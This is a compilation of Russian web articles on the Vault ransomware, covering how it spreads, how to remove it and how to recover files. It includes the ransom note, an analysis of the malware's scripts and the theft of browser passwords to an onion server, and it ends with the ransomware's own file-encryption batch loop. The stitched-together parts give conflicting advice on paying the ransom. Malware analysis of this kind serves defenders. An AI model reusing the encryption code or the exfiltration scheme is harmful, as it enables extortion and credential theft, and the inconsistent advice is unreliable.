Удаление вируса vault. Шифровальщик Vault (вирус): что делать и как удалить? Как я пробовал побороть вирус Vault и восстановить поврежденные файлы

Вирусы могут создавать назойливую рекламу и использовать ваш трафик для своих нужд. Но вдвойне неприятно, когда хакеры опускаются к шантажу, ограничивая доступ к вашим файлам и требуют деньги. Если вы потеряли доступ к документам, и для нормальной работы нужно заплатить, то вы стали жертвой опасного вируса Vault который активно распространяется по сети.

Что представляет собой вирус Vault?

Данный вирус относится к программам-шифровальщикам. Он загружает на ваш компьютер простую программу, которая зашифровывает файлы Word, Excel, mp3-файлы, графические изображения, присваивая им расширение *.Vault.

После шифровки, пользователь полностью теряет доступ к данным. Для возобновления доступа, программой создается специальный ключ. Он остается в руках хакеров. За предоставление ключа, шантажисты требуют деньги.

Пути распространения

Вирус распространяется в замаскированном виде через электронную почту, Skype или социальные сети. Представляет собой исполняемый скрипт с расширением.js. В ряде случаев злоумышленники запаковывают вирус в архив, чтобы его сложнее можно было отследить.

После того, как пользователь запускает скрипт, вирус скачивается с серверов хакеров, а затем поселяется в папке TEMP и шифрует файлы. Антивирусы не блокируют Vault, т.к. видят в нем безопасный шифровальщик, - полезную утилиту, которую используют для защиты данных от взломщиков.

Удаление

К тому моменту, когда вы обнаружили вирус, он уже успел сделать грязную работу. Поэтому, хакеры особо не заморачиваются над тем, чтобы создавать какую-либо защиту для своего детища. Файлы трояна расположены в папке TEMP .

Удалять все подряд ни в коем случае нельзя. Перед тем как удалить вирус Vault с компьютера, обязательно сохраните следующие файлы:

1. CONFIRMATION.KEY — отображает количество зашифрованных файлов. Это своеобразная «смета» для злоумышленников. Благодаря ей, они определяют количество средств, которые они готовы потребовать за возобновление доступа.
2. Vault.KEY — ключ к данным. Он содержит идентификатор, который используют хакеры, чтобы подобрать ключ доступа к именно вашим файлам.
3. Vault.txt — общая информация о порядке возобновления и сайте взломщиков.

Не факт, что эти файлы вам понадобятся. Но на всякий случай лучше их хранить.

После того как вы очистили папку, сканируйте систему бесплатной программой CureIT от DrWeb , и антивирусом . Затем нужно перезагрузить компьютер и запустить диспетчер задач. Если среди процессов нет подозрительных, значит, все прошло правильно, и самая легкая часть пути осталась позади.

Расшифровка файлов после заражения

В своих обращениях к жертвам, хакеры пишут: «Поспешите, у вас мало времени», или «Время работает против вас». Злоумышленникам нужно, чтобы вы паниковали, чтобы приняли спонтанное решение, не думая расстались с деньгами за доступ к важным файлам. Действовать нужно строго наоборот. У вас есть зашифрованные файлы, и способы вернуть к ним доступ:

1. Купить ключ у вымогателей.
2. Попытаться найти следы ключа на своем компьютере.
3. Восстановить резервные копии файлов.
4. Воспользоваться решениями от антивирусных лабораторий.

Покупка ключа у хакеров

Покупать ключ у хакеров, это как выполнять требования террористов. С моральной точки зрения – очевидно, худшая затея. Деньги, которыми вы спонсируете собственный обман позже потратят на усовершенствованные виды мошенничества. Но этот вариант имеет место, ведь есть подтвержденные случаи возвращения доступа после оплаты.

Поиск дешифратора в системе

Гораздо лучше – попытаться восстановить файлы самостоятельно. Есть простой способ как восстановить файлы после Vault вируса. Поскольку в основе вредоносного ПО лежит безопасная программа-шифровщик, дешифровальный ключ создается изначально на жестком диске компьютера. Затем он отправляется на сервер взломщиков. А уже потом – удаляется. Поэтому первым делом ищите ключ. Возможно, он еще не удален. Имя ключа secring.gpg. Если удастся найти его в системе – вам повезло.

Восстановление сохраненных копий

Можно также восстановить копии файлов. Если у вас активирована защита системы, Windows применяет к файлам процедуру резервного копирования. Жмем на файл правой кнопкой, открываем вкладку «Свойства». В открывшемся окне нажимаем «Предыдущие версии». Восстанавливаем их, и пользуемся.

Совет! Старайтесь не забывать о создании точек восстановления системы . Они могут выручить вас там, где не работают обычные методы устранения проблемы.

Решения от антивирусных лабораторий

И «Лаборатория Касперского» и DrWeb признают, что бороться с шифровальными вирусами тяжело. Также трудно и определить их в системе. Но у антивирусных лабораторий есть дешифраторы, которые в ряде случаев помогают в ситуации. У «Касперского» это RectorDecryptor. Утилита сама ищет и исправляет пораженные файлы.

Если этот вариант не помог, отправляйте файл на анализ в DrWeb, и там подберут дешифратор к конкретному случаю. Запрос с описанием проблемы пишите в поддержку на официальном сайте лаборатории. Ознакомившись с проблемой, специалисты предложат отправить 3 файла:

• CONFIRMATION.KEY;
• Vault.KEY;
• Пример зашифрованного файла.

В результате, вы получите или настроенную под конкретный случай утилиту для разблокировки всех файлов либо существующего файла.

Услуги сторонних компаний

В связи с распространением вируса, участилось количество веб-сервисов, предлагающих разблокировку за деньги. Пользоваться такими услугами нельзя ни в коем случае. Как предупреждают в «Лаборатории Касперского», в случае, когда прогрессивные аналитические центры не способны решить проблему, надеяться на спасение от сомнительной организации не стоит.

Не стоит пользоваться и программами, которые предлагают установить такие организации. Vault часто использует открытый способ шифровки RSA-1024 , и технически, разблокировать его машинным способом просто невозможно.

Как уберечь себя от вируса в будущем

Vault-вирус крайне редко определяется антивирусными программами. Поэтом, есть ряд правил, руководствуясь которыми можно уберечь себя от шифровальщиков в будущем:

1. Проверяйте файлы. Документы с расширением.js, которые приходят вам на почту или в социальные сети, априори опасны. Открывать их не стоит, а если вы хотите принять участие в борьбе с хакерами – лучше сразу отправлять на анализ в антивирусные лаборатории.
2. Копируйте данные. Храните резервные копии там, где вирус не сможет их повредить. Используйте съемные носители. Синхронизируйте с облачными сервисами, такими как OneCloud, DropBox, GoogleDrive, или Я.Диск.
3. Доверяйте проверенным источником. Отказывайтесь от программ, в источниках которых вы не уверены. Если у приложения доступен официальный поставщик – лучше пользоваться им, а не решениями от неизвестных организаций.
4. Откажитесь от пиратской продукции. Мошенники не приходят одни. Когда вы скачиваете взломанную игру, или программное обеспечение, то рискуете получить вшитый вирус. Лицензия - это растраты. Вместе с тем и безопасность.

Заражение вирусом Vault файлы зашифрованы

Сначала пользователь получает письмо с сообщением о выписке из налоговой / счетчика воды / счета за консультант плюч .
В письме была ссылка на вложенный файл с ресурса download-attach.com . (хостинг вроде оплачен биткоином) В архиве по этой ссылке самое интересное имеется обфусцированный js файл , с очень подробным именем.
При его запуске в %TEMP% пользователя появляется несколько файлов и в автозагрузку прописывается скрипт для запуска revault.js

Вот некоторые файлы, которые удалось идентифицировать:
svchost.exe - основной бинарник gnupg
iconv.dll - общая библиотека для работы gnupg
audiodg.exe - sDelete из комплекта Sysinternals Suite

Исполнение вируса Vault файлы зашифрованы

В нашем случае при запуске компьютера запустился скрипт revault.js который запустил bat файл cryptlist.cmd. Здесь небольшая нить потерялась
Потом запустился secured.bat в нем и творится все самое темное.
Сначала программа генерирует сертификат для шифрования файлов на компьютере с именем gk.vlt (Cellar / RSA / 1024 bit)
Потом экспортирует из него закрытый ключ, необходимый для расшифровки файлов в файл vaultkey.vlt
Потом создает публичный ключ pk.vlt, он предопределен в самом bat файле. С помощью этого файла в дальнейшем будет зашифрован ключ, необходимый для расшифровки ваших данных.

Далее в vaultkey.vlt записываются
BDATE - текущая дата
UNAME - текущее имя пользователя
CNAME - имя компьютера
ULANG - язык системы (в данном случае он прописан RU)
И несколько случайных хэшей 01HSH 02HSH 03HSH 04HSH 05HSH FHASH

Шифрование вирусом Vault файлы зашифрованы

Шифрование файла с заменой выглядит так
1 - Шифрование файла
2 - Перемещение шифрованного файла на место ориганала
3 - Добавление расширения.vault к файлу

На 1 этапе шифруются *.xls и *.doc файлы.
На 2 этапе создается и запускается файлы win.vbs, sdwrase.js, sdwrase.cmd, которые отключает теневое копирование в системе, если система Vista и выше
И шифруются *.pdf *.rtf файлы.
На 3 этапе шифруются *.psd *.dwg *.cdr файлы.
На 4 этапе шифруются *.cd *.mdb *.1cd *.dbf *.sqlite файлы.
На 5 этапе шифруются *.jpg *.zip файлы.

Каждый файл считается, потом количество зашифрованных файлов каждого типа файлов записывается в vaultkey.vlt
(Видимо для общей оценки зашифрованных данных)

Далее ключом злоумышленника шифруется ваш приватный ключ и собранная информация о количестве данных.
После чего ваш ключ, необходимый для расшифровки данных удаляется с 16 (!) кратной перезаписью.

Ваши файлы зашифрованы, вашим ключем, а ваш ключ зашифрован ключем злоумышленника.

Потом создаются файлики с оповещениями.

Сайт вируса Vault файлы зашифрованы

Сайт злоумышленников хостится в анонимной сети TOR и отличается высокой технологичностью, для такого рода "проектов"
Здесь есть полноценный личный кабинет и "демо версия" на 3 файла, которая со стороны злоумышленника расшифровать загруженный вами файл и скачать его с их сервера. НО, перед открытием Вам доступак файлу, его в ручном режиме просмотрит злоумышленник и если посчитает файл важным, то доступа к тему вы не получите, об этом Вам сообщат.

Есть даже раздел помощи.

Оплата только биткоинами.
Также можно поговорить с автором. Уговоры и угрозы бесполезны. Злоумышленник может закрыть вам возможность чата.

Пароли с браузеров - методика хищения паролей с браузеров на зараженном вирусом Vault файлы зашифрованы компьютере

После создания файликов с обовещениями идет "бонус"
Создаются скрипты ultra.js и up.vbs.
Первый скачивает файл с шлюза tor2web по ссылке hxxp_//tj2es2lrxelpknfp.onion.city/p.vlt и переименовывается в ssl.exe
Это дампер паролей Browser Password Dump v2.6 by SecurityXploded
Он сохраняет все ваши пароли с браузеров в файл cookie.vlt
Далее, второй файл запускает выгрузку ваших паролей на тот же сервер (POST скрипту /x.php)
Этот сервер обезличен так же, как и сервер для восстановления и оплаты (ничего лишнего в заголовках, строка Server: Anon)

Наша статья посвящена очередному «шедевру» хакеров — вирусу-шифровальщику Vault. Мы расскажем что это за вирус Ваулт и как он действует на систему. Рассмотрим варианты, при которых можно восстановить файлы.

Вирус Vault — что делать?!

Одним «прекрасным» днем вы открыли свой рабочий стол и увидели запущенный блокнот со следующим текстом:

Исходя из этого, становится ясно — вы стали «горе-обладателем» вируса Ваулт. Этот вирус заражает компьютер и начинает шифровать ваши файлы. Так под шифрование попадают файлы с расширением.pdf, .doc, .docx, .xls, .xlsx, .jpeg, .zip и др. После работы вируса, к имени файла прибавляется расширение.vault. Также вирус, в некоторых случаях, действует на локальные базы 1C. Как видите, vault шифрует все популярные для работы документы.

Наверное вы зададитесь вопросом: А как же vault попал на мой компьютер? Тут все проще простого, злоумышленники выслали на вашу электронную почту письмо. Название письма говорило о его важности и необходимости срочно открыть и прочитать его. Это могло быть письмо от банка, партнеров или какое-нибудь выгодное предложение. В этом письме имелся вложенный документ с расширением.js (ява скрипт).

При запуске (а вы его запустили!) это вирус-расширение скачивает из хакерских серверов программу шифровальщик. В вашем случае, вирус шифровальщик Vault — это легитимное криптографическое ПО GPG (GnuPG) , использующая популярный алгоритм шифрования rsa-1024. Программа не является вирусом, поэтому антивирусы её не блокируют и допускают её работу. GPG формирует открытый (на вашем ПК) и закрытый (на сервере злоумышленников) ключи шифрования.

Есть много модификаций вируса Vault , к примеру, для Windows 7/ 8, 32-х или 64-х битных систем. И попадая в каждую, вирус действует по своему. Также вирус может шифровать компьютеры находящиеся в одной сети с вашим.

Как убрать вирус Vault из компьютера?

Вирус действует таким образом, что в папке с исходным файлом, создается аналогичный с расширением.gpg. Далее этот файл встает заменяет исходный файл и добавляет расширение vault. Простым переименованием документа тут не отделаться. Поэтому давайте разбираться, как восстановить файлы и убрать вирус vault.

Удаление самого вируса

Как только вы обнаружили расширение vault на ваших документах, то сразу отключите сеть, и прекратите работу со всеми приложениями, не открывайте папки на дисках лишний раз. Войдите в систему через безопасный режим.

В плане удаления, вирус Ваулт не сложный. Удалить его не представляется трудным, для этого воспользуйтесь самыми популярными программами для удаления таких вирусов шифраторов, банерной рекламы, троянов. Но проблемы будут дальше:(.

Что нужно знать — так это то, что само тело вируса спрятано в папке Temp. Состоит вирус из следующих файлов:

• 3c21b8d9.cmd;
• fabac41c.js;
• VAULT.txt;
• Sdc0.bat;
• VAULT.KEY;
• CONFIRMATION.KEY.

Все эти файлы, кроме двух последних (!), нужно удалить. Далее запустите клинер, очистите автозагрузку, проверьте реестр на наличие ошибок (для Windows 7/8/10 принцип одинаков). Последние 2 файла нужно оставить на компьютере, так как:

1. VAULT.KEY — непосредственно сам ключ шифрования. Его удалять нельзя ни в коем случае! Он передается злоумышленникам, анализируя его, они выдадут вам вторую часть ключа для расшифровки.
2. CONFIRMATION.KEY — файл с полной информацией о количестве зашифрованных файлов на ПК. он тоже необходим для хакеров.

Восстановление файлов с расширением.vault бесплатно

Таким образом, мы подошли к самому страшному — файлы остались зашифрованными. бесплатных дешифраторов для вируса vault не существует. Расшифровать файлы с ключом rsa-1024 может только сама исходная программа.

Какие есть способы для восстановления файлов:

Если вы ничего не нашли в Корзинах и нет точек восстановления системы, то вам придется платить злоумышленникам. Тут ничего не поделаешь. Анализируя диалоги на форумах, следует вывод — что злоумышленники реально расшифровывают файлы, но за это нужно платить. Будь это неправда, молва в интернете давно бы это разнесла, и люди бы не велись на это. Следует понимать, что это целая «бизнес-система» — вы попались, теперь платите и все будет хорошо.

Дошло до того, что в интернете уже есть супер-агенты! То есть посредники, которые свяжутся за вас со злоумышленниками и решат все ваши проблемы. Вестись на это или нет, ваше дело. Не хотите сами делать — платите больше.

Следуя инструкциям из текстового файла, вы запустите браузер Tor (специально для затирания IP), далее вы попадете на один из сайтов злоумышленников. Здесь есть мануал по работе с сайтом и даже система скидок:(.

А как же антивирус?

К сожалению, как писалось выше, антивирусные программы Dr Web, Kaspersky, Avast и др. — ничего сделать не могут. Ведь программа не является вирусом по сути. Официальные запросы в техподдержку Лаборатории Касперского заканчиваются развернутыми рассказами о vault и предложениями воспользоваться их дешифраторами RannohDecryptor , ScatterDecryptor , Rector Decryptor , RakhniDecryptor или Xorist Decryptor. Доктор Веб вообще советует обратиться в полицию, по факту несанкционированного доступа к компьютеру. Ну что ж, спасибо Доктор.

Как видите вариантов не много, и если файлы вам действительно важны, придется платить. Тянуть с этим тоже нельзя, сервера с базами и сайты постоянно перемещаются — удаляются старые и появляются новые.

И вот небольшое видео, где можно увидеть как действует вирус Vault на систему. Это видео не является рекламой:).

На сегодняшний день очень актуальна тема Vault-вирусов. Большинство пользователей интересует, что делать в случае заражения компьютера и какой наиболее подходящий способ для удаления вредоносных программ. Об этом и пойдет речь в данной статье.

Что собой представляют Vault-вирусы?

Прежде чем затронуть вопрос удаления вредоносных программ, необходимо ознакомиться с их общим понятием. Vault-вирус представляет собой шифровальщик данных. Он способен проникать в операционную систему и менять расширения всех данных, присутствующих в компьютере. Особенно усугубляется проблема, когда зараза добирается до системных файлов.

При заражении устройства Vault-вирусом необходимо в первую очередь понять, откуда он взялся. Сложность заключается в том, что выглядит шифровальщик данных по-разному. У некоторых пользователей он выступает в качестве программы для архивирования файлов, у других он оказывается специальным расширением для браузера. Выход во всех случаях один – необходимо срочно избавляться от Vault-вируса.

Проведение проверки

На первом этапе следует проверить устройство на присутствие в системе шпионов и вредоносных файлов. Для этого необходим эффективный антивирус. Оптимальными вариантами являются Dr.Web или Nod32. Также можно использовать «Аваст». Сначала нужно обновить базу данных с вирусами, после чего запустить глубокую проверку. Такая процедура часто занимает большое количество времени.

После завершения процесса можно анализировать полученные результаты. В представленном перечне обязательно будет присутствовать Vault-вирус. Остальные действия можно предугадать. Потребуется вылечить все вредоносные программы. Если это сделать не получается, нужно удалить их полностью. Для этого предусмотрена специальная кнопка в антивирусе. После осуществления сканирования компьютера стоит перейти к следующему этапу.

Удаление программ

Прежде всего следует удалить всевозможный странный контент и программы, не использующиеся долгое время. Как правило, Vault-вирусы отличаются тем, что любят прописывать различный бесполезный контент, способствующий зашифровке данных. Если их удалить, можно упростить решение проблемы.

Сначала понадобится перейти в «Панель управления» и выбрать «Установка и удаление программ». Стоит немного подождать, пока создастся список загруженного контента. После этого необходимо избавиться от всех незнакомых программ. Одновременно с этим получится очистить устройство от приложений, которыми длительное время никто не пользовался. Когда этот процесс будет выполнен, закрывать окно и приступать к следующим действиям, необходимым для решения поставленной задачи.

Очистка реестра

Большинство пользователей, которые взялись удалять Vault-вирус, не уделяют должного внимания реестру. А зря. Ведь в нем регистрируется вредоносная программа, от которой зачастую достаточно трудно избавиться. Поэтому стоит обязательно задуматься об очистке реестра. Для этого необходимо выполнить специальную команду, оказывающую помощь в посещении требуемой службы.

Сначала понадобится кликнуть Win + R, после чего выполнить команду regedit. При нажатии на кнопку «Ввод», открывается реестр компьютера. После попадания в требуемую службу, стоит задуматься, что необходимо для успешного решения вопроса. В левой части можно увидеть множество папок, имеющих длинные названия. Их необходимо обойти. Главная цель – «Правка».

Там нужно отыскать «Поиск» и набрать в строке «Vault». После этого необходимо просканировать устройство и дождаться результатов проверки. Вредоносные файлы, которые будут обнаружены по итогам сканирования, следует удалить. Этот процесс полностью безопасен, поэтому беспокоиться за повреждение операционной системы не стоит. Необходимо просто совершать клики по строкам правой кнопкой мышки и выбирать команду «Удалить». Когда все будет готово, можно двигаться дальше. Останется несколько элементарных шагов, чтобы решить проблему с шифровальщиком.

Помощь программ

Любой процесс избавления от вредоносных программ предусматривает использование дополнительных утилит. Они позволяют найти вирусы и обезопасить устройство от них путем обезвреживания. К примеру, оптимальным вариантом служит Cclener. Программа прекрасно справляется с задачей очистки компьютера, а также помогает освободить место на системном диске C.

Потребуется только просто скачать Ccleaner и выделить время на его установку. Затем стоит выставить требуемые настройки сканирования. Осуществляется это в левой части окна. После этого можно смело нажимать кнопку «Сканировать». Достаточно нескольких секунд, чтобы результаты сканирования отобразились на экране. Останется нажать кнопку «Очистить» и проанализировать полученные данные.

Также можно использовать SpyHunter для избавления от шифровальщика. Программа способна обнаружить вредоносное программное обеспечение и шпионов, а также другие файлы, несущие угрозу для системы. После того как установки и сканирование будут выполнены, рекомендуется осуществить перезагрузку компьютера. В итоге вирус не будет доставлять неудобства пользователю.

Действия с файлами

После всех выполненных действий обычно возникает следующий вопрос: «Что делать, если зашифрованы личные данные?». Существует несколько способов, чтобы справиться с такой задачей, поэтому каждый пользователь сможет выбрать оптимальный для себя вариант. Первый метод является подходящим для особо осторожных людей, которые все файлы записывают на носители.

В этом случае можно удалить весь поврежденный контент, заменив его на другой, не несущий угрозу системе. Второй способ предусматривает применение специальных антивирусных программ. Необходимо отослать их службам зашифрованные данные, а они, в свою очередь, пришлют расшифровку. Большую популярность приобрела программа Dr.Web, прекрасно справляющаяся с поставленной задачей.

Здравствуйте, уважаемые читатели. Довелось мне познакомиться с одним очень неприятным и опасным шифровальщиком, который шифрует пользовательские данные, заменяя им стандартное расширение. После заражения вирусом шифровальщиком vault сразу же возникает главный вопрос — как восстановить поврежденные файлы и провести расшифровку информации. К сожалению, простого решения данной задачи не существует в силу особенностей механизма работы зловреда и находчивости злоумышленников.

Описание вируса шифровальщика vault

Все начинается с того, что у вас внезапно открывается текстовый файл в блокноте следующего содержания:

Ваши рабочие документы и базы данных были заблокированы и помечены форматом.vаult Для их восстановления необходимо получить уникальный ключ ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА: КРАТКО 1. Зайдите на наш веб-ресурс 2. Гарантированно получите Ваш ключ 3. Восстановите файлы в прежний вид ДЕТАЛЬНО Шаг 1: Скачайте Tor браузер с официального сайта: https://www.torproject.org Шаг 2: Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion Шаг 3: Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели. Не удалите его Авторизируйтесь на сайте используя ключ VAULT.KEY Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой STEP 4: После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё ПО ДОПОЛНИТЕЛЬНО a) Вы не сможете восстановить файлы без уникального ключа (который безопасно хранится на нашем сервере) b) Если Вы не можете найти Ваш VAULT.KEY, поищите во временной папке TEMP c) Ваша стоимость восстановления не окончательная, пишите в чат Дата блокировки: 08.04.2015 (11:14)

Появление такого сообщения уже означает, что vault вирус заразил ваш компьютер и начал шифрование файлов. В этот момент необходимо сразу же выключить компьютер, отключить его от сети и вынуть все сменные носители. Как провести лечение от вируса мы поговорим позже, а пока я расскажу, что же произошло у вас в системе.

Скорее всего вам пришло письмо по почте от доверенного контрагента или замаскированное под известную организацию. Это может быть просьба провести бухгалтерскую сверку за какой-то период, просьба подтвердить оплату счета по договору, предложение ознакомиться с кредитной задолженностью в сбербанке или что-то другое. Но информация будет такова, что непременно вас заинтересует и вы откроете почтовое вложение с вирусом. На это и расчет.

Итак, вы открываете вложение, которое имеет расширение.js и является ява скриптом. По идее, это уже должно вас насторожить и остановить от открытия, но если вы читаете эти строки, значит не насторожило и не остановило. Скрипт скачивает с сервера злоумышленников троян или банер ваулт, как его в данном случае можно назвать, и программу для шифрования. Складывает все это во временную директорию пользователя. И сразу начинается процесс шифрования файлов во всех местах, куда у пользователя есть доступ — сетевые диски, флешки, внешние харды и т.д.

В качестве шифровальщика vault выступает бесплатная утилита для шифрования gpg и популярный алгоритм шифрования — RSA-1024 . Так как по своей сути эта утилита много где используется, не является вирусом сама по себе, антивирусы пропускают и не блокируют ее работу. Формируется открытый и закрытый ключ для шифрования файлов. Закрытый ключ остается на сервере хакеров, открытый на компьютере пользователя.

Проходит некоторое время после начала процесса шифрования. Оно зависит от нескольких факторов — скорости доступа к файлам, производительности компьютера. Дальше появляется информационное сообщение в текстовом файле, содержание которого я привел в самом начале. В этот момент часть информации уже зашифрована.

Конкретно мне попалась модификация вируса vault, которая работала только на 32 битных системах. Причем на Windows 7 с включенным UAC выскакивает запрос на ввод пароля администратора. Без ввода пароля вирус ничего сделать не сможет. На Windows XP он начинает работу сразу после открытия файла из почты, никаких вопросов не задает.

Вирус ставит расширение vault на doc, jpg, xls и других файлах

Что же конкретно делает с файлами вирус? На первый взгляд кажется, что он просто меняет расширение со стандартного на .vault . Когда я первый раз увидел работу этого virus-шифровальщика, я так и подумал, что это детская разводка. Переименовал обратно файл и очень удивился, когда он не открылся как полагается, а вместо положенного содержания открылась каша из непонятных символов. Тут я понял, то все не так просто, начал разбираться и искать информацию.

Вирус прошелся по всем популярным типам файлов — doc , docx , xls , xlsx , jpeg , pdf и другим. К стандартному имени файла прибавилось новое расширение.vault. Некоторым он шифрует и файлы с локальными базами 1С. У меня таких не было, так что сам лично я это не наблюдал. Простое переименовывание файла обратно, как вы понимаете, тут не помогает.

Так как процесс шифрования не мгновенный, может так получиться, что когда вы узнаете о том, что у вас шурует вирус на компьютере, часть файлов еще будет нормальная, а часть зараженная. Хорошо, если не тронутой останется большая часть. Но чаще всего на это рассчитывать не приходится.

Расскажу, что скрывается за сменой расширения. После шифрования, к примеру, файла file.doc рядом с ним вирус vault создает зашифрованный файл file.doc.gpg, затем зашифрованный file.doc.gpg перемещается на место исходного с новым именем file.doc, и только после этого переименовывается в file.doc.vault. Получается, что исходный файл не удаляется, а перезаписывается зашифрованным документом. После этого его невозможно восстановить стандартными средствами по восстановлению удаленных файлов. Вот часть кода, которая реализует подобный функционал:

Dir /B "%1:"&& for /r "%1:" %%i in (*.xls *.doc) do (echo "%%TeMp%%\svchost.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& rename "%%i" "%%~nxi.vault">> "%temp%\cryptlist.lst" echo %%i>> "%temp%\conf.list")